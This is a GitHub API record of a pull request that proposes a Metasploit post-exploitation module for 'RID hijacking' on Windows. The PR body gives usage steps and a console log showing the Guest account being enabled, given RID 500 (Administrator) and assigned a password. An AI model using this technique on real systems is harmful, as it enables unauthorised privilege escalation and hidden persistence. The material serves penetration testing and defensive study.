{"action":"opened","number":9595,"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9595","id":170321549,"html_url":"https://github.com/rapid7/metasploit-framework/pull/9595","diff_url":"https://github.com/rapid7/metasploit-framework/pull/9595.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/9595.patch","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/9595","number":9595,"state":"open","locked":false,"title":"RID Hijacking Windows Post Module","user":{"login":"r4wd3r","id":14118912,"avatar_url":"https://avatars3.githubusercontent.com/u/14118912?v=4","gravatar_id":"","url":"https://api.github.com/users/r4wd3r","html_url":"https://github.com/r4wd3r","followers_url":"https://api.github.com/users/r4wd3r/followers","following_url":"https://api.github.com/users/r4wd3r/following{/other_user}","gists_url":"https://api.github.com/users/r4wd3r/gists{/gist_id}","starred_url":"https://api.github.com/users/r4wd3r/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/r4wd3r/subscriptions","organizations_url":"https://api.github.com/users/r4wd3r/orgs","repos_url":"https://api.github.com/users/r4wd3r/repos","events_url":"https://api.github.com/users/r4wd3r/events{/privacy}","received_events_url":"https://api.github.com/users/r4wd3r/received_events","type":"User","site_admin":false},"body":"## Reference\r\n\r\nhttp://csl.com.co/rid-hijacking/\r\n\r\n## Description\r\n\r\nThis module will create an entry on the target by modifying some properties of an existing account. It will change the account attributes by setting a Relative Identifier (RID), which should be owned by one existing account on the destination machine.\r\n\r\nTaking advantage of some Windows Local Users Management integrity issues, this module will allow to authenticate with one known account credentials (like GUEST account), and access with the privileges of another existing account (like ADMINISTRATOR account), even if the spoofed account is disabled.\r\n## Verification\r\n\r\nThis can be tested in any host running Windows. from XP to 10 (including Windows Servers).\r\n\r\n1.  Get a `meterpreter` session on some host (use `archmigrate` if needed).\r\n2.  Execute `use post/windows/manage/rid_hijack`\r\n3. Execute `set SESSION <SESSION_ID>` replacing <SESSION_ID> with the desired session.\r\n4. Set `GET_SYSTEM` to `true` when trying to acquire **SYSTEM** privileges.\r\n5. Set `GUEST_ACCOUNT` to `true` to use the victim **Guest** account as the _hijacker_ account.\r\n6. Set `RID` to the **RID** that will be assigned to the _hijacker_ account. This value should be owned by one existing account, the intended to be _hijacked_. Set to **500** by default.\r\n7. Set `USERNAME` to look for the defined user account, and use it as the _hijacker_ account. If `GUEST_ACCOUNT` is set to `true`, this parameter will be ignored.\r\n\r\n## Testing\r\nAlso refer to http://csl.com.co/rid-hijacking/\r\n```\r\nmsf post(rid_hijack) > show options \r\n\r\nModule options (post/windows/manage/rid_hijack):\r\n\r\n   Name           Current Setting  Required  Description\r\n   ----           ---------------  --------  -----------\r\n   GETSYSTEM      false            yes       Attempt to get SYSTEM privilege on the target host.\r\n   GUEST_ACCOUNT  true             yes       Assign the defined RID to the Guest Account.\r\n   PASSWORD       Password.1       no        Password to set to the defined user account.\r\n   RID            500              yes       RID to set to the specified account.\r\n   SESSION        1                yes       The session to run this module on.\r\n   USERNAME                        no        User to set the defined RID.\r\n\r\nmsf post(rid_hijack) > exploit \r\n\r\n[*] Checking for SYSTEM privileges on session\r\n[+] Session is already running with SYSTEM privileges\r\n[*] Target OS: Windows 8.1 (Build 9600).\r\n[*] Target account: Guest Account\r\n[*] Target account username: Invitado\r\n[*] Target account RID: 501\r\n[*] Account is disabled, activating...\r\n[+] Target account enabled\r\n[*] Overwriting RID\r\n[+] The RID 500 is set to the account Invitado with original RID 501\r\n[*] Setting Invitado password to Password.1\r\n[*] Post module execution completed\r\n\r\n```","created_at":"2018-02-20T22:03:54Z","updated_at":"2018-02-20T22:03:54Z","closed_at":null,"merged_at":null,"merge_commit_sha":null,"assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9595/commits","review_comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9595/comments","review_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/9595/comments","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/4ce7468fbe0e2ffeed586c502e4bd418b0ef8367","head":{"label":"r4wd3r:rid_hijacking_module","ref":"rid_hijacking_module","sha":"4ce7468fbe0e2ffeed586c502e4bd418b0ef8367","user":{"login":"r4wd3r","id":14118912,"avatar_url":"https://avatars3.githubusercontent.com/u/14118912?v=4","gravatar_id":"","url":"https://api.github.com/users/r4wd3r","html_url":"https://github.com/r4wd3r","followers_url":"https://api.github.com/users/r4wd3r/followers","following_url":"https://api.github.com/users/r4wd3r/following{/other_user}","gists_url":"https://api.github.com/users/r4wd3r/gists{/gist_id}","starred_url":"https://api.github.com/users/r4wd3r/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/r4wd3r/subscriptions","organizations_url":"https://api.github.com/users/r4wd3r/orgs","repos_url":"https://api.github.com/users/r4wd3r/repos","events_url":"https://api.github.com/users/r4wd3r/events{/privacy}","received_events_url":"https://api.github.com/users/r4wd3r/received_events","type":"User","site_admin":false},"repo":{"id":112209638,"name":"metasploit-framework","full_name":"r4wd3r/metasploit-framework","owner":{"login":"r4wd3r","id":14118912,"avatar_url":"https://avatars3.githubusercontent.com/u/14118912?v=4","gravatar_id":"","url":"https://api.github.com/users/r4wd3r","html_url":"https://github.com/r4wd3r","followers_url":"https://api.github.com/users/r4wd3r/followers","following_url":"https://api.github.com/users/r4wd3r/following{/other_user}","gists_url":"https://api.github.com/users/r4wd3r/gists{/gist_id}","starred_url":"https://api.github.com/users/r4wd3r/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/r4wd3r/subscriptions","organizations_url":"https://api.github.com/users/r4wd3r/orgs","repos_url":"https://api.github.com/users/r4wd3r/repos","events_url":"https://api.github.com/users/r4wd3r/events{/privacy}","received_events_url":"https://api.github.com/users/r4wd3r/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/r4wd3r/metasploit-framework","description":"Metasploit Framework","fork":true,"url":"https://api.github.com/repos/r4wd3r/metasploit-framework","forks_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/forks","keys_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/events","assignees_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/merges","archive_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/releases{/id}","deployments_url":"https://api.github.com/repos/r4wd3r/metasploit-framework/deployments","created_at":"2017-11-27T14:55:26Z","updated_at":"2017-11-27T14:55:50Z","pushed_at":"2018-02-20T21:31:19Z","git_url":"git://github.com/r4wd3r/metasploit-framework.git","ssh_url":"git@github.com:r4wd3r/metasploit-framework.git","clone_url":"https://github.com/r4wd3r/metasploit-framework.git","svn_url":"https://github.com/r4wd3r/metasploit-framework","homepage":"https://www.metasploit.com/","size":327549,"stargazers_count":0,"watchers_count":0,"language":"Ruby","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":0,"license":null,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"rapid7:master","ref":"master","sha":"107a41a4ce992bd33a151d7d76c1c32f3a9328c4","user":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars1.githubusercontent.com/u/1013671?v=4","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"repo":{"id":2293158,"name":"metasploit-framework","full_name":"rapid7/metasploit-framework","owner":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars1.githubusercontent.com/u/1013671?v=4","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/rapid7/metasploit-framework","description":"Metasploit Framework","fork":false,"url":"https://api.github.com/repos/rapid7/metasploit-framework","forks_url":"https://api.github.com/repos/rapid7/metasploit-framework/forks","keys_url":"https://api.github.com/repos/rapid7/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rapid7/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rapid7/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/rapid7/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/events","assignees_url":"https://api.github.com/repos/rapid7/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/rapid7/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/rapid7/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/rapid7/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/rapid7/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/rapid7/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/rapid7/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rapid7/metasploit-framework/merges","archive_url":"https://api.github.com/repos/rapid7/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rapid7/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/rapid7/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/rapid7/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/rapid7/metasploit-framework/releases{/id}","deployments_url":"https://api.github.com/repos/rapid7/metasploit-framework/deployments","created_at":"2011-08-30T06:13:20Z","updated_at":"2018-02-20T21:14:22Z","pushed_at":"2018-02-20T22:00:38Z","git_url":"git://github.com/rapid7/metasploit-framework.git","ssh_url":"git@github.com:rapid7/metasploit-framework.git","clone_url":"https://github.com/rapid7/metasploit-framework.git","svn_url":"https://github.com/rapid7/metasploit-framework","homepage":"https://www.metasploit.com/","size":332231,"stargazers_count":11370,"watchers_count":11370,"language":"Ruby","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":6473,"mirror_url":null,"archived":false,"open_issues_count":482,"license":{"key":"other","name":"Other","spdx_id":null,"url":null},"forks":6473,"open_issues":482,"watchers":11370,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9595"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/9595"},"issue":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/9595"},"comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/9595/comments"},"review_comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9595/comments"},"review_comment":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9595/commits"},"statuses":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/4ce7468fbe0e2ffeed586c502e4bd418b0ef8367"}},"author_association":"NONE","merged":false,"mergeable":null,"rebaseable":null,"mergeable_state":"unknown","merged_by":null,"comments":0,"review_comments":0,"maintainer_can_modify":true,"commits":1,"additions":188,"deletions":0,"changed_files":1}}
{"actor":{"display_login":"r4wd3r"}}